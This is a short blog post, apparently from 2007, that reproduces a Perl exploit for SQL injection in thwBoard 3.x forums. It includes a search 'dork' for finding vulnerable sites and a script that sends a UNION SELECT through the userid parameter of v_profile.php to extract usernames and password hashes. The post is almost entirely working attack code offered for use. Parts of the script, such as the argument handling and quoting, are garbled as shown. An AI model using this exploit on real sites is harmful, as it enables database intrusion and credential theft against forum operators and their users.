Monday, 1 January 2007

thwBoard 3.x SQL Injection

use IO::Socket;
#http://hotscripts.com/jump.php?listing_id=18639&jump_type=1
#dork:'powered by ThWboard'
if (@ARGV<3) host="$ARGV[0];" path="$ARGV[1];" tb="$ARGV[2];" id="$ARGV[3];" sock="IO::Socket::INET-">new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die ("Can't connect!");
print $sock "GET ".$path."v_profile.php?user[userid]='UNION%20SELECT%2022,username,3,4,5,6,22,44,55,444,99,55,userpassword,1,1,1,1,1,1,1,1%20FROM%20$tb%20WHERE%20userid=$id/* HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Connection: close\n\n";

while ($ans=<$sock>) {
$ans =~ m/(.*?)<\/font>/ &&amp; print $1;
}

sub usage() {
print "\n";
print "# ths.pl host /path/ table(tb_user) 1#\n";
print "\n";
exit;
}

No comments: